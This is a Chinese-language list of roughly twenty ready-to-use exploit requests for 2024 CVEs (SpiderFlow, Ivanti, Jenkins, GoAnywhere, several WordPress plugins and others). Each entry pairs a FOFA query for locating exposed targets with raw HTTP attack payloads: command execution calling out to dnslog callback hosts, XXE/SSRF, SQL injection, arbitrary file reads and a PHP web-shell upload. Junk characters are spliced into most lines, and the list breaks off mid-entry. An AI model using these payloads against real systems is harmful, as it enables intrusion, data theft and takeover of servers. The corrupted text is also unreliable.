X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
+ p: i7 C# w$ @# s- t3 v1 n  m4 v2 X3 `+ m

8 r. Z. m- m5 t; v% u" ^98. SpiderFlow爬虫平台远程命令执行
7 _/ H0 f; H1 dCVE-2024-0195! i( n6 `2 E9 e
FOFA:app="SpiderFlow"4 _, I, A  D1 h4 A6 W
POST /function/save HTTP/1.1% r9 v" E- e# g: B3 ^, C4 u8 w
Host: 192.168.40.130:8088# r* C: T6 R  r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0& K- H  v' B( P. @2 t
Connection: close& O! n& c6 G1 a
Content-Length: 121% D1 g* V+ n: G2 l9 A/ L
Accept: */*/ Y: ^" j* Q& d: L7 W
Accept-Encoding: gzip, deflate
% L" t& I% c3 e+ w2 S# m( k0 W! UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ^- K; i8 H& ^, ~  X7 e% A1 BContent-Type: application/x-www-form-urlencoded; charset=UTF-8$ y6 ]) e0 W9 H  j, m
X-Requested-With: XMLHttpRequest/ _7 I) P% Y+ ^. q* ~
: d  t- G! G# `! T
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
$ i0 [# j- |2 o% L  Z  s  H4 W6 ?; i% @

; Q) g# h& E6 b3 N8 H6 J& Y7 h* V99. Ncast盈可视高清智能录播系统busiFacade RCE& _3 A0 T# j& v2 s
CVE-2024-0305+ N6 w  S6 N1 u$ }& _5 Z1 c2 A
FOFA:app="Ncast-产品" && title=="高清智能录播系统": t! J- O3 P6 U7 l; V5 L$ _3 v# d" K, \
POST /classes/common/busiFacade.php HTTP/1.1
# q3 L1 b0 O5 LHost: 192.168.40.130:8080
1 B* H; Q% j8 `+ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* i3 X6 N' {5 E4 T+ O# p) xConnection: close* p8 t% v. |6 D$ {  h9 E% L6 `
Content-Length: 1541 a( h0 }  S; p1 q4 {1 b
Accept: */*, n6 F& m% L4 j2 H) {& H$ i: r
Accept-Encoding: gzip, deflate( W; N* p) q1 d  O# z1 V# N
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& m/ n4 h' G0 d8 U' y9 u/ |Content-Type: application/x-www-form-urlencoded; charset=UTF-81 S9 i/ f( P9 _: V
X-Requested-With: XMLHttpRequest/ y7 w! D2 P" V( F

1 n. Z7 [2 a% x7 c7 W%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
3 J% R, N8 N9 a/ O2 t% _: c% T
' z3 [8 \' C4 s& P7 I
0 r& Q$ N2 S3 ~% Q: H* s- n100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
* n2 f) q! o6 i5 G! sCVE-2024-0352
- P, R2 ]2 \: _6 CFOFA:icon_hash="874152924"
, _4 G, B1 F/ f, `" x* ~POST /api/file/formimage HTTP/1.1
- d, S$ ?4 [" g$ L% k$ Y; L5 nHost: 192.168.40.130
- e2 t* P8 A( L' `1 [' F: }" tUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.362 u. ?4 ~7 W( x  R9 j6 T2 j
Connection: close& I/ s: _+ W: @; D, W0 Q1 z9 n
Content-Length: 201+ T6 V$ y  M% F9 u) W
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei5 n; A. O4 U. E' Y, X
Accept-Encoding: gzip" j6 i) e5 t" J: m# |9 x
+ M; j' h1 e, }' Y$ Q
------WebKitFormBoundarygcflwtei
0 r0 n- D/ w$ c4 IContent-Disposition: form-data; name="file";filename="IE4MGP.php") p% h+ f9 J% Y- a
Content-Type: application/x-php
" A" M/ p- U) }* g* R
7 ^8 Z, }9 E2 k0 U0 s5 _; w" b2ayyhRXiAsKXL8olvF5s4qqyI2O
6 [& y3 [5 K* y5 |------WebKitFormBoundarygcflwtei--* P% |7 U4 ?. o9 b% T" M. n

% O* l: S5 R% @9 _. F% ~
  P: G6 G) s0 S! _& R) \/ J: S- g101. ivanti policy secure-22.6命令注入
2 G" ?. g) N7 e! @5 q4 d, zCVE-2024-21887
; H' x& }6 j5 E! {, C7 w4 n# UFOFA:body="welcome.cgi?p=logo"- L" O- k' z# i
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
7 [; c! j' D5 k* R' gHost: x.x.x.xx.x.x.x$ x% U  B0 {2 Z. w8 N0 i2 w! ]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.365 z5 B& |* r$ K9 I( O
Connection: close6 ?5 D; ~! U' _4 X, L& e2 ?
Accept-Encoding: gzip
+ @6 E  g8 _+ b/ G$ m
" _) a7 R/ W9 ?6 w7 k
4 @: j8 s3 e( I7 ]  B) D9 u. J102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
& [6 M6 z8 L6 ?" QCVE-2024-21893* r. K' v  D) B4 W- z& b: x5 ~# B6 n3 `1 ^+ Y
FOFA:body="welcome.cgi?p=logo"
8 j/ C2 @' ]9 \0 |$ MPOST /dana-ws/saml20.ws HTTP/1.1/ t3 i* R5 S1 {/ w( O
Host: x.x.x.x
8 s! b8 ~* o) `, TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* K2 I$ v! B! i, m$ D% K+ n6 F/ w. G5 V2 vConnection: close+ D2 ~: q" H3 n7 F- k" J! v, ~2 H9 M
Content-Length: 792
% v  x) N) e5 p6 m* U/ lAccept-Encoding: gzip* R, F& Q( _7 H
2 H$ H8 Z% l( S
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>7 }4 B: f' T. o( B1 N6 c2 s4 a, Q
& y9 M( ]; e0 b) ~$ M
103. Ivanti Pulse Connect Secure VPN XXE+ J" L$ W* i3 L8 p2 S( P
CVE-2024-220244 [/ k& ?! ]% m7 i; Y
FOFA:body="welcome.cgi?p=logo"+ ]* G( u6 [4 f; S
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
, |7 Q! |& u6 g1 eHost: 192.168.40.130:111% N, {% n2 _8 \- e- ]1 V3 w3 h) w
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36; f* Y! J8 e0 x  c0 G7 Z' x
Connection: close* ^8 n$ ^* y3 b- O% H6 F7 w
Content-Length: 204  A/ f0 h5 q& o3 F
Content-Type: application/x-www-form-urlencoded5 E) M9 ~7 Q5 l
Accept-Encoding: gzip+ N0 Q# b" n3 m- b, u4 ^( q. L" |* W# B

) H( f4 W( ~% Z8 V1 K- Y! T5 m% pSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
% i1 ^6 [$ w6 _2 H7 P+ Q( E. S- N3 o9 E" w( n
) |9 Q. M! Q+ w/ \& T( E6 h
其中SAMLRequest的值是xml文件内容的base64值,xml文件如下
# G( {% O+ Q6 [1 l) k+ q0 X! s<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>, ?, T' O) g5 f8 T+ g2 S7 ~
. m6 }& N; I( V& {$ U0 t

* s* J! V6 \, G% v104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露- ?6 x" w( e2 l' c
CVE-2024-0569
3 R; y$ o! K% r5 U1 V" D  W$ vFOFA:title="TOTOLINK"5 Z, s1 [4 g: v, @) |$ n7 t
POST /cgi-bin/cstecgi.cgi HTTP/1.10 W3 N9 g) }) n9 a
Host:192.168.0.17 k# u5 C9 r/ v- O7 q" Z' x
Content-Length:41
( G" q+ ~; J, K3 U3 q# h% f9 IAccept:application/json,text/javascript,*/*;q=0.01
& Q  E; u0 n1 f7 Z: b" ~X-Requested-with: XMLHttpRequest  p$ n9 A$ t+ P: J  N) |4 d9 X; I
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
1 N! J! J  u' y1 kContent-Type: application/x-www-form-urlencoded:charset=UTF-8
6 l" e9 }3 @9 F; P. zOrigin: http://192.168.0.1% y1 m5 B( u- |
Referer: http://192.168.0.1/advance/index.html?time=1671152380564' B3 a. H* _1 ]0 ^0 ]: m4 Y
Accept-Encoding:gzip,deflate
  ?4 K1 [" q& }& s3 ?Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
; U8 P  `( e$ y# U- y( H$ }2 IConnection:close; y3 s* J9 v3 {! p# n' p0 A
; ~2 g& W" l# S7 a1 T. q& E* Z! C
{
' ~9 `1 F' s4 R3 C"topicurl":"getSysStatusCfg",: N. e$ S& c' o* g- a+ w4 m
"token":""/ k- [6 P& H. [
}: Q& s% f8 C2 U7 [6 j$ ^0 |

8 E- i* y+ G* f( Z: t+ w( [8 R' V6 \105. SpringBlade v3.2.0 export-user SQL 注入
% @7 B2 [% m9 {6 V4 J4 Z" {FOFA:body="https://bladex.vip"1 O8 D3 ]9 i. I+ U5 o8 `$ Y
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
9 m( a1 n" W/ E7 h" u- V( t! o; `/ j/ R1 X6 m( n* U4 B
106. SpringBlade dict-biz/list SQL 注入
8 q; L$ R( c7 D6 ]FOFA:body="Saber 将不能正常工作"2 z% {3 ?. X: U% Y5 s1 q" g
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.10 X3 }- M" [! D$ b& {6 h# E
Host: your-ip
# B) s& I0 A7 T. R( R1 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36- P2 o5 n( m4 Y
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A6 V9 U! e8 X7 A% a8 N
Accept-Encoding: gzip, deflate
2 ^- J% ?: o5 |" MAccept-Language: zh-CN,zh;q=0.9
/ Z: W& e& D/ A: @. e+ J) iConnection: close7 ^; g6 y3 m& N% u/ f0 q/ [

9 w2 [, e, N; P8 R
0 w8 m/ @; m: K+ ]107. SpringBlade tenant/list SQL 注入+ A8 J% g: i, `5 G. W, z2 l, c/ C
FOFA:body="https://bladex.vip"2 Y. z* I+ T6 Q8 B. V1 w1 @# h
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1. y3 u1 ]" ]# i# B* k9 q
Host: your-ip# W- a5 p0 S' B. K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ O1 o' U& p8 `# q5 K# X( @6 oBlade-Auth:替换为自己的
1 r2 O: y4 R/ y: z0 [- zConnection: close- R0 m( I" N7 h, }- z5 y+ u
/ O& _( v5 R  t. j! I" b
1 A( v" m0 c* @9 S( k
108. D-Tale 3.9.0 SSRF. N/ Q' f4 b; K- T9 j3 Q: v1 r8 R
CVE-2024-21642) D" ?0 ?8 N3 d4 W
FOFA:"dtale/static/images/favicon.png"0 y% }( u. G( o! A  ?7 J
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
7 c* U2 q6 O" k; T" I4 ?* kHost: your-ip
  L3 f; Q! c/ ^7 o8 l$ p% uAccept: application/json, text/plain, */*+ |/ I) D/ p& }. i$ i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* E; N+ j, _& \: D8 ~8 t0 R3 BAccept-Encoding: gzip, deflate
6 ^, H2 F2 |% C/ S+ i2 F! i) xAccept-Language: zh-CN,zh;q=0.9,en;q=0.8! D  I, H! E1 B" G6 L
Connection: close. |7 y8 n" A9 y2 G- x0 s

: I) _* v  r, j" Q7 U- b; ?' l# C, |9 e% E0 E& N% g
109. Jenkins CLI 任意文件读取: i" ^* I* s* k& ]+ s$ E
CVE-2024-23897! h) \/ \  \. T; `
FOFA:header="X-Jenkins"8 w" y, Y1 F5 Z  f
POST /cli?remoting=false HTTP/1.13 y0 O4 i  A9 _: l9 _4 [# I: N
Host:
1 m; N- Y2 r0 d2 R1 v9 HContent-type: application/octet-stream
  ?& e9 f8 [" W  Q5 u- USession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ y/ |' ?0 T" I( }Side: upload0 a# n) a: @+ T7 y2 m: T& Z
Connection: keep-alive1 n6 z1 n7 q( J/ L; L3 [
Content-Length: 163( o$ Y6 O$ e+ `; u. W

5 q* V7 p% @' T2 c5 q& ^9 nb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'9 U+ R' X' b" |- b

+ Z! a5 T9 X5 e+ h6 z" u- K% |; c1 k$ v7 m/ i' k: s1 F
POST /cli?remoting=false HTTP/1.1
; C: K" f5 h" f; G! R7 v* |$ uHost:, t$ C+ q; q- C- e1 e. C
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
1 e4 J6 L; K8 j/ |download
' r8 [$ e9 O# S+ ZContent-Type: application/x-www-form-urlencoded
# I6 V6 z" o; T2 W# pContent-Length: 0' s" i4 x+ I* j+ ~; C4 n7 P
: }9 q, [- h" F+ K' r8 @/ @  m

) g$ p. F- D$ b; n5 pERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
; z6 G* R. v+ `3 @8 A5 sjava -jar jenkins-cli.jar help
( s( X/ n! O, m' z6 \: y2 h; Q[COMMAND]/ ]1 c2 s* Q/ N6 i- p4 W
Lists all the available commands or a detailed description of single command.2 S( {, A* R+ T; r- \
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)1 u9 P; M# l8 U0 q) ~8 l7 U8 L
: o4 y# a1 D( N* {( k' i

2 l9 O5 B& T$ b- d( `110. Goanywhere MFT 未授权创建管理员& l# H1 r" N% B
CVE-2024-0204
% W+ L% L( `4 KFOFA:body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"9 f4 t! T7 Q$ Y+ @# @: M
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.13 K  Q% [4 z/ M; [5 N
Host: 192.168.40.130:8000' _8 j7 |, o; b. p
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.361 K. e8 N4 E% \6 y6 E
Connection: close/ h+ ^1 d+ j* u! M
Accept: */*
' v0 d4 l' B& I- TAccept-Language: en
1 P$ o: x# H  a1 f) I6 x+ GAccept-Encoding: gzip
( X3 f: c& W; l. `# [5 m# A
% k9 q4 _& F$ `$ L6 b' U/ {! X# X' D
111. WordPress Plugin HTML5 Video Player SQL注入
0 B# f( k2 t, k' T7 I0 gCVE-2024-1061
2 \3 g& \2 d$ y4 z, }FOFA:"wordpress" && body="html5-video-player"0 V7 U# n$ i, g. a2 h$ B  {- z
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
6 z, F; D+ M2 P8 c- r$ C+ xHost: 192.168.40.130:112. I" F0 t2 C4 Z( c, u2 ~' g
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36# {* L* @. S6 f. t
Connection: close
2 J0 |: g2 f2 L  _) Y1 P- B: q- XAccept: */*( u5 r) S" i* E" N+ w& y
Accept-Language: en
$ Z7 o% F' Q3 J& [Accept-Encoding: gzip
! Z- `: b$ w  q: r- ^4 }5 T7 Y  |3 }9 u$ @4 `- {* y
9 }2 O& x1 Q: h
112. WordPress Plugin NotificationX SQL 注入' V# Y* {3 o3 h* O; J( x1 Z# R
CVE-2024-1698
: u" X9 `8 \# j0 h4 BFOFA:body="/wp-content/plugins/notificationx"7 `5 f) k9 m" o  R. v' O' H4 u
POST /wp-json/notificationx/v1/analytics HTTP/1.1. _# H" L/ i2 I) M, X' `
Host: {{Hostname}}
" a( Y! Z/ b5 bContent-Type: application/json
& `0 r0 I  d) I+ ^! X6 C% |$ P
5 e" {- P2 Y3 Z" M{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
- e# b# O, Q, u" z! f% f8 w  ?% r2 {: v7 P# V& O" r3 T
, _, X# w7 C# J" n" H
113. WordPress Automatic 插件任意文件下载和SSRF& |& ]  L% g5 p+ F, F3 w2 i3 f
CVE-2024-27954
& U' y) H2 f9 t' |) }FOFA:"/wp-content/plugins/wp-automatic"
( h. `$ c; v" l9 p  P/ hGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.12 _: w! [0 l& `  F
Host: x.x.x.x
# O! f2 I/ |& A4 gUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
8 F% i- l. i+ y$ {Connection: close* Q! ~! [* s( n
Accept: */*, L- b6 w# G2 s* d
Accept-Language: en* R2 q/ A/ Y- h2 p8 f# s
Accept-Encoding: gzip( y7 d& r' a$ F! w4 L& e8 ~

0 c7 i% h- m2 q) l5 L1 |/ W8 x& }
7 {7 Q2 s1 j3 K, k4 x, R- k: u114. WordPress MasterStudy LMS插件 SQL注入
$ Z: r! a5 d7 b9 ZFOFA:body="wp-content/plugins/masterstudy-lms-learning-management-system/"
/ D  b3 W8 U  n& C% zGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.14 e5 B# x4 i* q7 w
Host: your-ip8 z+ m8 G! M0 N1 }: O% _7 f: G
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 ~" U5 ]) D& A) iAccept-Charset: utf-8( H6 W" i; ?( m: v7 Q
Accept-Encoding: gzip, deflate
8 w1 E9 S, H3 y8 m0 ^Connection: close
/ I- c' b* ^0 q4 }- N2 d+ f3 N6 m# r( `- h

; a, {' X5 x2 K3 W5 e115. WordPress Bricks Builder <= 1.9.6 RCE0 r2 w, B& |: R$ c. N$ Y7 \
CVE-2024-25600
$ k4 T& i8 r; o$ E' m/ ^% J) yFOFA: body="/wp-content/themes/bricks/"
0 Q6 I, E! T  g" D第一步,获取网站的nonce值7 y. J4 d1 r/ H! |) |6 c3 c! h
GET / HTTP/1.18 u+ A" f7 k& s0 V
Host: x.x.x.x# s8 ^* I" a7 `" g$ D
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
+ w0 ]: a1 p3 f. mConnection: close
3 o! w. E, E; D& sAccept-Encoding: gzip
- r4 G' i$ O8 y: [. m: s$ x/ i6 B/ Y) q5 ?6 J- j# W
3 X* d9 a8 u. t$ J
第二步替换nonce值,执行命令; p& M! w3 e' j& g: E8 G$ i; I
POST /wp-json/bricks/v1/render_element HTTP/1.14 D* Z. v$ U% T; M& ^) v: `6 w
Host: x.x.x.x
: G5 Z2 ?7 b# f! }. tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36& Z- d8 t4 O1 n3 Z$ ?% g, \( `
Connection: close
" D4 c# v" ]( W4 R- [2 |7 VContent-Length: 356& x& q; l; j& {* Q. u0 N; L
Content-Type: application/json3 h1 `5 ?" M/ y( I  j8 _4 t* V( p
Accept-Encoding: gzip6 m8 F9 J- o  N. _

8 W) W0 W4 E8 r) h5 Z6 b{
2 r+ W6 M' {4 z/ e3 I; v# d3 X"postId": "1",
3 |) Z8 ]8 C  T+ K& l, g5 d  "nonce": "第一步获得的值",0 d6 G9 [4 g/ Q1 }5 J* ~: R
  "element": {
& S; ~" f+ O+ d% l* u% d1 i6 q    "name": "container",7 R, k$ e4 {* k$ ?0 t3 [  M. l
    "settings": {
9 @! s/ ^% V0 D8 p/ A4 Q+ c      "hasLoop": "true",
' u% m" z( G! _4 h( J4 r$ K$ {      "query": {
+ {' X2 _0 Q* T4 }# N# {- z9 v6 v        "useQueryEditor": true,/ p. A) L  M- v: l
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",  a) @7 E' w( ?
        "objectType": "post"+ T; B& `% a: j. X: z/ A1 R
      }' e2 w$ n8 m) V# ^( {
    }
  ]& O$ K2 j) \7 J+ D0 k  }' T; u! y$ Y  i) J
}# d- n. c/ x+ ^. D; T
7 t; y8 M- P3 w, s4 b4 Z) x

4 d+ c9 O4 r+ v; }/ O116. wordpress js-support-ticket文件上传
  |/ G0 s' ?+ z/ u) |6 V  wFOFA:body="wp-content/plugins/js-support-ticket"
9 m7 V$ R' M5 a9 z% JPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.13 y/ s3 m  F$ R9 k' _1 |2 d: |
Host:
& P  J8 |+ s. l9 ]% r$ {4 }Content-Type: multipart/form-data; boundary=--------7670991710 _/ c8 C  L# R2 N% d  p" H
User-Agent: Mozilla/5.0
) @( Y% D' l7 a) i2 [7 u
; v; `4 w9 A( I  }/ i/ d/ N) ~----------767099171
" H( i8 ^2 ?! ~5 z0 u% IContent-Disposition: form-data; name="action"
$ n- Y  y7 N2 t- m6 H" V& M' Vconfiguration_saveconfiguration
( W) E& {/ k  S7 l6 X0 ]* q$ V----------767099171
; n( m  ^8 o, \1 I2 `3 N9 g  BContent-Disposition: form-data; name="form_request"
8 P8 Y0 Z8 S8 J# Gjssupportticket
0 g: Z: V: ~& n1 P) S% J* Y! O----------767099171  y7 r2 x4 ?( s& q/ k  M5 o; C* c
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
- }4 s* L2 O3 C) a( c" i6 IContent-Type: image/png$ n- t; U" }' h% {8 P) a7 v  _
----------767099171--& f5 U$ z1 D) @
' `% S0 U- D' n8 J% m$ B6 P

$ y8 n/ o8 o* }, ?( s117. WordPress LayerSlider插件SQL注入
2 Y( `% X' H8 y/ t+ Nversion:7.9.11 – 7.10.0
; i- l+ ]! c. AFOFA:body="/wp-content/plugins/LayerSlider/", W, t( t) ~  E" e
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
; Z; T' l' i% `( @6 @. ]Host: your-ip( Z9 S9 V% W3 T
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0- ^/ ~) i! Q/ H
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.85 b! r8 P$ T6 H. X
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.21 {2 |7 g8 ?, C0 _  M
Accept-Encoding: gzip, deflate, br( s) w8 C+ ]1 f% e# T- N
Connection: close
7 d  j* p* o" g, |3 tUpgrade-Insecure-Requests: 16 z% L6 S! j* L  Y9 y2 p, i

; f6 M( h, ^: S- t2 C$ d
3 q3 x& S+ u6 {9 T/ C' ~1 k118. 北京百绰智能S210管理平台uploadfile.php任意文件上传" [0 u( {! G2 G! l2 l. V
CVE-2024-0939
  F: y2 V6 L! T8 V$ L& B2 _3 fFOFA:title="Smart管理平台"
- [" E# T; j* {( {* XPOST /Tool/uploadfile.php? HTTP/1.1
  {4 ]1 `( p3 _: H4 p4 [2 pHost: 192.168.40.130:8443
9 H2 O" `# m4 g+ {$ `! `Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f86 v! \$ V) _, x1 E' ]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0; Y$ @# S( M$ B/ r/ F9 i8 u9 M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 c4 l. B* |$ V7 [2 XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: y# G' o& e! T* rAccept-Encoding: gzip, deflate
/ O& D9 |% b5 d! N/ C! K5 e( pContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
/ H+ J7 }7 \9 P0 e4 D  v5 Q' lContent-Length: 405+ o6 N  p* d9 U: U9 s( A( {
Origin: https://192.168.40.130:8443
4 H' q+ g5 v$ y& {3 _7 i5 p/ a. S' ^Referer: https://192.168.40.130:8443/Tool/uploadfile.php9 r+ O4 M7 [: T
Upgrade-Insecure-Requests: 1' T2 |; D+ L; s
Sec-Fetch-Dest: document
- D2 |  d( T) A% j5 \; K0 g2 [" p2 aSec-Fetch-Mode: navigate$ u: L) @: A$ t8 V% C
Sec-Fetch-Site: same-origin! b; U7 E/ e2 P" j/ q* W3 U
Sec-Fetch-User: ?1+ B* e+ T# c, l. ~5 c4 I* R
Te: trailers
5 O. |9 F- q* ]Connection: close
! q3 o5 z) n0 @+ t2 z
, J& v0 ^" i% y7 I  u5 b6 R% h2 T& @-----------------------------13979701222747646634037182887  R: L! N3 D- [% k3 T8 m
Content-Disposition: form-data; name="file_upload"; filename="contents.php"1 l5 e! B$ b: ?! `
Content-Type: application/octet-stream# {7 p3 H* e6 P: Z

5 `( b# A4 u/ d) @6 _<?php1 I! g9 t6 I4 Y8 M/ z
system($_POST["passwd"]);4 a% l7 w/ T* t' L( S+ q: ~1 h7 R7 F
?>: L! i* M/ |& {
-----------------------------13979701222747646634037182887
. a; k0 w" V- q( o; FContent-Disposition: form-data; name="txt_path"
+ g2 a; t( a% b( }& ^/ h, E" q4 J& Z0 R1 D
/home/src.php/ \' A* u- J; E. I7 t' O
-----------------------------13979701222747646634037182887--
& I5 p. x7 I* K% e; D5 _) D
% }  ~/ @6 b$ c8 B3 L' K2 c" `* U5 X4 Z1 x. o
访问/home/src.php
: m: k2 g7 l: c! X3 i
& B' @0 x) ^0 s2 n7 ^2 G119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 j6 a7 v% O# S5 G3 p8 T+ |CVE-2024-12544 I- a; P. `) H/ z6 H
FOFA:title="Smart管理平台"
6 s' C) P9 \9 s0 ?先登录进入系统,默认账号密码为admin/admin
* G) S  o$ {6 M* J1 SPOST /sysmanage/sysmanageajax.php HTTP/1.11
